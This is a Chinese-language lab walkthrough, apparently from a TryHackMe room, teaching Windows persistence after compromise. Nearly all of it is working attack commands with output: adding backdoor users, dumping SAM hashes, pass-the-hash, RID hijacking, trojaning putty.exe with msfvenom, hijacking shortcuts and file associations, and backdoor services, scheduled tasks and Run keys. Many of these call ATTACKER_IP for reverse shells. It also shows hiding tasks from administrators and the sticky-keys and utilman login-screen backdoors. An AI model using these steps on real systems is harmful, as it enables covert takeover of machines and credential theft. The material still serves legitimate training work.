篡改非特权帐户

分配组成员资格

C:\> net localgroup administrators thmuser0 /add

这将允许您使用 RDPWinRM 或任何其他可用的远程管理服务来访问服务器。

如果这看起来太可疑,您可以使用Backup Operators组。该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,而忽略任何已配置的 DACL。这将允许我们复制 SAMSYSTEM 注册表配置单元的内容,然后我们可以使用它们来恢复所有用户的密码哈希,使我们能够轻松升级到任何管理帐户

为此,我们首先将帐户添加到 Backup Operators 组:

C:\> net localgroup "Backup Operators" thmuser1 /add

由于这是一个非特权帐户,除非我们将其添加到远程桌面用户(RDP) 或远程管理用户(WinRM) 组,否则它无法通过 RDPWinRM 返回计算机。我们将使用 WinRM 来完成这项任务:

C:\> net localgroup "Remote Management Users" thmuser1 /add

如果您现在尝试从您的攻击者机器连接,您会惊讶地发现即使您在 Backups Operators 组中,并且您也无法按预期访问所有文件。快速检查我们分配的组会表明我们是 Backup Operators 的一部分,但该组已禁用

user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321

*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators               Alias            S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

这是由于用户帐户控制 (UAC)。UAC 实现的功能之一 LocalAccountTokenFilterPolicy会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以从图形用户会话通过 UAC 提升您的权限(在此处阅读有关 UAC 的更多信息),但如果您使用的是 WinRM,您将被限制在没有管理权限的有限访问令牌中。

为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy

C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

一旦所有这些都设置好了,我们就可以使用我们的后门用户了。首先,让我们建立一个 WinRM 连接并检查是否为我们的用户启用了 Backup Operators 组:

user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
        
*Evil-WinRM* PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators             Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users      Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                 Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288

然后我们继续备份 SAMSYSTEM 文件并将它们下载到我们的攻击者机器上:

*Evil-WinRM* PS C:\> reg save hklm\system system.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> download system.bak
    Info: Download successful!

*Evil-WinRM* PS C:\> download sam.bak
    Info: Download successful!

注意:如果 Evil-WinRM 下载文件的时间太长,请随意使用任何其他传输方法。例如:smbserver.py

使用这些文件,我们可以使用或其他类似工具转储所有用户的密码哈希值secretsdump.py

user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...

最后,执行使用管理员的hash连接到受害机器:

user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3

特殊权限和安全描述符

无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定的权限。特权只是在系统本身上执行任务的能力。它们包括简单的事情,例如具有关闭服务器的能力,直到非常特权的操作,例如能够取得系统上任何文件的所有权。可在此处找到可用权限的完整列表以供参考。

对于 Backup Operators 组,它默认分配有以下两个权限:

  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何 DACL
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何 DACL
    我们可以将此类特权分配给任何用户,而不管他们的组成员身份如何。为此,我们可以使用secedit命令。首先,我们将当前配置导出到一个临时文件:
secedit /export /cfg config.inf

我们打开文件并将我们的用户添加到配置中有关 SeBackupPrivilegeSeRestorePrivilege 的行:

我们最终将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:

secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

您现在应该拥有一个与任何备份操作员具有同等权限的用户。用户仍然无法通过 WinRM 登录系统,所以让我们做点什么。我们不会将用户添加到 Remote Management Users 组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 进行连接。将安全描述符视为 ACL,但应用于其他系统设施。

要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(为此您需要使用 GUI 会话):

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完整权限:

请注意,要让此用户完全使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,但我们已经完成了此操作以获取先前的标志

如果您检查用户的组成员资格,它将看起来像普通用户。一点都不可疑!

C:\> net user thmuser2
User name                    thmuser2

Local Group Memberships      *Users
Global Group memberships     *None

RID劫持

另一种无需成为管理员即可获得管理权限的方法是更改​​某些注册表值,使操作系统认为您是管理员。

创建用户时,会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。

在任何 Windows 系统中,默认的 Administrator 帐户被分配RID = 500,而普通用户通常RID >= 1000

要查找为任何用户分配的 RID,您可以使用以下命令:

C:\> wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010

RIDSID 的最后一位(thmuser31010Administrator500)。SID 是一个标识符,它允许操作系统跨域识别用户,但对于此任务,我们不会太在意它的其余部分。

现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAMSAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,我们将使用 psexec,它在C:\tools\pstools您的机器中可用:

C:\tools\pstools> PsExec64.exe -i -s regedit

Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\机器中每个用户都有一个密钥的地方。由于我们要修改 thmuser3,因此我们需要搜索其 RID 为十六进制 (1010 = 0x3F2) 的密钥。在相应的键下,会有一个名为F的值,它在位置 0x30 处保存用户的有效 RID

请注意,RID 是使用小尾数法存储的,因此它的字节显示为颠倒的。

我们现在将用十六进制的管理员** RID** (500 = 0x01F4) 替换这两个字节,切换字节 (F401):

thmuser3 下次登录时,LSASS 会将其关联到与 Administrator 相同的 RID,并授予他们相同的权限

如果你做的一切都正确,你应该登录到管理员的桌面

后门文件

另一种建立持久性的方法包括篡改我们知道用户经常与之交互的一些文件。通过对这些文件进行一些修改,我们可以植入后门,只要用户访问它们就会执行。由于我们不想创建任何可能会暴露我们身份的警报,因此我们更改的文件必须按预期继续为用户工作

可执行文件

如果您发现桌面上有任何可执行文件,则用户很可能会经常使用它。假设我们找到了一条通往 PuTTY 的捷径。如果我们检查快捷方式的属性,我们可以看到它(通常)指向C:\Program Files\PuTTY\putty.exe. 从那时起,我们可以将可执行文件下载到攻击者的机器上并修改它以运行我们想要的任何有效载荷。

您可以轻松地在任何带有 .exe 文件中植入您喜欢的有效载荷msfvenom。二进制文件仍将像往常一样工作,但通过在二进制文件中添加一个额外的线程来静默执行额外的有效负载。要创建后门的 putty.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户不注意的情况下执行 reverse_tcp 负载。虽然这种方法足以建立持久性,但让我们看看其他更狡猾的技术。

快捷方式文件

如果我们不想改变可执行文件,我们总是可以篡改快捷方式文件本身。我们可以将其更改为指向将运行后门的脚本,然后正常执行通常的程序,而不是直接指向预期的可执行文件。

对于此任务,让我们检查管理员桌面上的calc快捷方式。如果我们右键单击它并转到属性,我们将看到它指向的位置:

在劫持快捷方式的目标之前,让我们在其中C:\Windows\System32或任何其他偷偷摸摸的位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell,然后从快捷方式属性的原始位置运行 calc.exe

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

最后,我们将更改快捷方式以指向我们的脚本。请注意,快捷方式的图标可能会在执行此操作时自动调整。请务必将图标指向原始可执行文件,这样用户就不会看到任何可见的更改。我们还想在隐藏窗口上运行我们的脚本,为此我们将选项添加-windowstyle hiddenPowershell。快捷方式的最终目标是:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

如果双击该快捷方式,您应该可以连接回攻击者的计算机。同时,用户将得到一个如他们所愿的计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户可能不会太在意这一点

劫持文件关联

除了通过可执行文件或快捷方式持久化之外,我们还可以劫持任何文件关联,以在用户打开特定文件类型时强制操作系统运行 shell

默认的操作系统文件关联保存在注册表中,其中为HKLM\Software\Classes\. 假设我们要检查哪个程序用于打开 .txt 文件;我们可以去检查子.txt项并找到与之 关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将具有以下 ProgID

然后我们可以搜索相应 ProgID 的子项(也在 下HKLM\Software\Classes\),在本例中 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目将有一个子项,在该子项下shell\open\command指定为具有该扩展名的文件运行的默认命令:

在这种情况下,当您尝试打开一个 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1代表打开的文件的名称。如果我们想劫持这个扩展,我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,让我们创建一个包含以下内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

请注意,在 Powershell 中,我们必须传递$args[0]给记事本,因为它将包含要打开的文件的名称,如通过%1

现在让我们更改注册表项以在隐藏窗口中运行我们的后门脚本:

最后,为您的反向 shell 创建一个侦听器,并尝试在受害计算机上打开任何 .txt 文件(如果需要,请创建一个)。您应该会收到一个具有打开文件的用户权限的反向 shell

滥用服务

Windows 服务提供了一种建立持久性的好方法,因为它们可以配置为在受害机器启动时在后台运行。如果我们可以利用任何服务为我们运行一些东西,我们就可以在每次启动时重新获得对受害机器的控制。

服务基本上是在后台运行的可执行文件。配置服务时,您定义将使用哪个可执行文件并选择服务是在机器启动时自动运行还是应手动启动。

我们可以通过两种主要方式滥用服务来建立持久性:创建新服务或修改现有服务以执行我们的有效负载

创建后门服务

我们可以使用以下命令创建并启动名为“THMservice”的服务:

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

注意:每个等号后必须有一个空格才能使命令生效。

服务启动时将执行“net user”命令,将管理员密码重置为Passwd123. 请注意该服务是如何设置为自动启动的 (start= auto),这样它就可以在不需要用户交互的情况下运行。

重置用户密码效果很好,但我们也可以使用 msfvenom 创建一个反向shell,并将其与创建的服务相关联。但是请注意,服务可执行文件是唯一的,因为它们需要实现特定的协议才能由系统处理。如果你想创建一个与 Windows 服务兼容的可执行文件,你可以使用exe-servicemsfvenom 中的格式:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

然后你可以将可执行文件复制到你的目标系统,说进去C:\Windows并将服务的 binPath 指向它:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

修改现有服务

虽然为持久性创建新服务效果很好,但蓝队可能会监控整个网络的新服务创建。我们可能希望重用现有服务而不是创建服务以避免检测。通常,任何禁用的服务都是一个很好的候选者,因为它可能会在用户不注意的情况下被更改。

您可以使用以下命令获取可用服务的列表:

C:\> sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 1077  (0x435)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

您应该能够找到名为 THMService3 的已停止服务。要查询服务的配置,可以使用以下命令:

C:\> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2 AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MyService\THMService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMService3
        DEPENDENCIES       : 
        SERVICE_START_NAME : NT AUTHORITY\Local Service

在使用服务进行持久化时,我们关心三件事:

  • 可执行文件 ( BINARY_PATH_NAME ) 应该指向我们的负载。
  • 服务START_TYPE应该是自动的,这样负载就可以在没有用户交互的情况下运行。
  • SERVICE_START_NAME是运行服务的帐户,最好将其设置为LocalSystem以获得 SYSTEM 权限。

让我们从使用 msfvenom 创建一个新的反向shell 开始:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

要重新配置“THMservice3”参数,我们可以使用以下命令:

C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

然后您可以再次查询服务的配置以检查是否一切都按预期进行:

C:\> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMservice3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\rev-svc2.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMservice3
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

然后使用sc start THMservice3获得shell

滥用计划任务

如果需要,我们还可以使用计划任务来建立持久性。有几种方法可以在 Windows 系统中安排有效负载的执行。让我们看看其中的一些:

任务调度器

安排任务的最常见方法是使用内置的Windows 任务计划程序。任务计划程序允许精细控制任务何时开始,允许您配置将在特定时间激活、定期重复甚至在特定系统事件发生时触发的任务。从命令行,您可以使用它schtasks与任务计划程序进行交互。可以在Microsoft 的网站上找到该命令的完整参考

让我们创建一个每分钟运行一次反向 shell 的任务。在真实场景中,您不希望您的负载运行得如此频繁,但我们不想为这个房间等待太久:

C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

注意:请务必使用THM-TaskBackdooras 作为您的任务名称,否则您将无法获得标志。

前面的命令将创建一个“THM-TaskBackdoor”任务并执行一个 nc64反向 shell 返回给攻击者。和/sc选项/mo表示任务应该每分钟运行一次。该/ru选项表示该任务将以 SYSTEM 权限运行。

要检查我们的任务是否已成功创建,我们可以使用以下命令:

C:\> schtasks /query /tn thm-taskbackdoor

Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
thm-taskbackdoor                         5/25/2022 8:08:00 AM   Ready

手动运行任务

C:\> schtasks /run /tn thm-taskbackdoor

让我们的任务不可见

我们的任务现在应该启动并运行,但如果受感染的用户试图列出其计划任务,我们的后门就会引人注目。为了进一步隐藏我们的计划任务,我们可以通过删除其安全描述符 (SD)使其对系统中的任何用户都不可见。安全描述符只是一个 ACL,说明哪些用户可以访问计划任务。如果不允许您的用户查询计划任务,您将无法再看到它,因为 Windows 只会向您显示您有权使用的任务。删除SD相当于禁止所有用户访问计划任务,包括管理员。

所有计划任务的安全描述符都存储在·HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\·. 您会为每个任务找到一个注册表项,在该注册表项下名为“SD”的值包含安全描述符。如果您拥有 SYSTEM 权限,则只能删除该值。

为了隐藏我们的任务,让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此,我们将使用psexec(在 中可用C:\tools)以 SYSTEM 权限打开Regedit

C:\> c:\tools\pstools\PsExec64.exe -s -i regedit

然后我们将删除任务的安全描述符:

如果我们再次尝试查询我们的服务,系统会告诉我们没有这样的任务:

C:\> schtasks /query /tn thm-taskbackdoor 

ERROR: The system cannot find the file specified.

登录触发的持久性

用户执行的某些操作也可能绑定到执行特定有效载荷以实现持久性。Windows 操作系统提供了几种将有效负载与特定交互联系起来的方法。此任务将研究植入有效载荷的方法,这些有效载荷将在用户登录系统时执行。

启动文件夹

每个用户都有一个文件夹C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,您可以在该文件夹下放置要在用户登录时运行的可执行文件。攻击者只需在其中放置有效负载即可实现持久性。请注意,每个用户将只运行其文件夹中可用的任何内容。

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 如果我们想强制所有用户在登录时运行一个payload,我们可以同样的方式使用下面的文件夹。

对于此任务,让我们使用 msfvenom 生成反向 shell 负载:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

然后我们将我们的有效载荷复制到受害者机器中。您可以使用 Python3 生成一个http.server并在受害机器上使用 wget 来拉取您的文件:

user@AttackBox$ python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 

PS C:\> wget http://ATTACKER_IP:8000/revshell.exe -O revshell.exe

然后我们将有效载荷存储到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp文件夹中,以便为任何登录到机器的用户取回 shell

C:\> copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

现在请务必从开始菜单中退出您的会话(关闭 RDP 窗口是不够的,因为它会使您的会话保持打开状态):

并通过 RDP 重新登录。您应该立即收到返回到攻击者机器的连接

运行/运行一次

您还可以强制用户通过注册表在登录时执行程序。您可以使用以下注册表项来指定要在登录时运行的应用程序,而不是将您的有效负载传送到特定目录:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

下面的注册表项HKCU将仅适用于当前用户,而下面的注册表项HKLM将适用于所有人。Run每次用户登录时,键下指定的任何程序都会运行。键下指定的程序RunOnce将只执行一次。

对于此任务,让我们使用 msfvenom 创建一个新的反向 shell

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe

将其传输到受害机器后,让我们将其移动到C:\Windows\

C:\> move revshell.exe C:\Windows

然后让我们REG_EXPAND_SZ在 下创建一个注册表项HKLM\Software\Microsoft\Windows\CurrentVersion\Run。条目的名称可以是任何您喜欢的名称,值将是我们要执行的命令。

注意:虽然在现实世界的设置中,您可以为注册表项使用任何名称,但对于此任务,您需要使用它MyBackdoor 来接收标志。

执行此操作后,退出当前会话并再次登录,您应该会收到一个 shell

登录

另一种在登录时自动启动程序的替代方法是滥用 Winlogon,这是一个在身份验证后立即加载用户配置文件的 Windows 组件(除其他外)。

Winlogon 使用下面的一些注册表项HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\可能很有趣来获得持久性:

  • Userinit指向userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的外壳,通常是explorer.exe

如果我们用一些反向 shell 替换任何可执行文件,我们将破坏登录序列,这是不希望的。有趣的是,您可以附加以逗号分隔的命令,Winlogon 将处理所有这些命令。

让我们从创建一个 shell 开始:

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe

我们将像以前一样将 shell 传输到我们的受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。在这种情况下,我们将使用C:\Windows

C:\> move revshell.exe C:\Windows

然后我们改变shellUserinitHKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\。在这种情况下,我们将使用Userinit,但过程shell是相同的。

注意:虽然 和shell都可Userinit用于在真实场景中实现持久性,但要在这个房间中获得标志,您需要使用Userinit

完成此操作后,退出当前会话并再次登录,您应该会收到一个 shell

登录脚本

加载用户配置文件时要做的一件事userinit.exe是检查名为UserInitMprLogonScript. 我们可以使用此环境变量将登录脚本分配给将在登录机器时运行的用户。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。

请注意,每个用户都有自己的环境变量;因此,您将需要分别为每个用户布置后门。

让我们首先创建一个用于此技术的反向 shell

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe

我们将像以前一样将 shell 传输到我们的受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。在这种情况下,我们将使用C:\Windows

C:\> move revshell.exe C:\Windows

HKCU\Environment要为用户创建环境变量,您可以在注册表中转到它。我们将使用该UserInitMprLogonScript条目指向我们的有效负载,以便在用户登录时加载它:

请注意,此注册表项在 中没有等效项HKLM,您的后门仅适用于当前用户。

完成此操作后,退出当前会话并再次登录,您应该会收到一个 shell

后门登录屏幕/RDP

如果我们可以物理访问机器(在我们的例子中是 RDP),您可以在登录屏幕后门访问终端,而无需机器的有效凭据。

为此,我们将研究两种依赖辅助功能的方法

粘滞键

当按下 等组合键时CTRL + ALT + DEL,您可以为 Windows 轻松使用配置为使用粘滞键,这样您就可以按顺序而不是同时按下组合按钮。从这个意义上说,如果粘滞键处于活动状态,您可以按下并释放CTRL,按下并释放ALT,最后按下并释放,DEL以达到与按下组合键相同的效果 CTRL + ALT + DEL

要使用粘滞键建立持久性,我们将滥用在任何 Windows 安装中默认启用的快捷方式,该快捷方式允许我们通过按SHIFT5 次来激活粘滞键。输入快捷方式后,我们通常会看到如下所示的屏幕:

SHIFT5 次后,Windows 将执行C:\Windows\System32\sethc.exe. 如果我们能够用我们偏好的有效载荷替换这样的二进制文件,我们就可以用快捷方式触发它。有趣的是,我们甚至可以在输入任何凭据之前从登录屏幕执行此操作。

对登录屏幕进行后门的一种直接方法是sethc.execmd.exe. 这样,我们可以使用粘滞键快捷方式生成控制台,甚至可以从登录屏幕生成控制台。

要覆盖sethc.exe,我们首先需要取得文件的所有权并授予我们当前用户修改它的权限。只有这样我们才能用cmd.exe. 我们可以使用以下命令来做到这一点:

C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.

这样做之后,从开始菜单锁定您的会话:

您现在应该能够按SHIFT五次以直接从登录屏幕访问具有 SYSTEM 权限的终端:

Utilman(轻松使用)

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

当我们单击登录屏幕上的轻松访问按钮时,它会C:\Windows\System32\Utilman.exeSYSTEM 权限执行。如果我们用 的副本替换它cmd.exe,我们就可以再次绕过登录屏幕。

要替换utilman.exe,我们执行与我们所做的类似的过程sethc.exe

C:\> takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
        1 file(s) copied.

要触发我们的终端,我们将从开始按钮锁定屏幕:

最后,继续单击“轻松访问”按钮。由于我们替换utilman.exe为副本cmd.exe,我们将获得具有 SYSTEM 权限的命令提示符:

通过现有服务坚持

如果您不想使用 Windows 功能来隐藏后门,您始终可以从任何可用于为您运行代码的现有服务中获益。此任务将研究如何在典型的 Web 服务器设置中植入后门。尽管如此,您对执行的内容有一定程度控制的任何其他应用程序都应该类似地可后门化。可能性是无止境!

使用网络外壳

上传后门,aspxwebshell

使用 MSSQL 作为后门

通过xp_cmdshell执行命令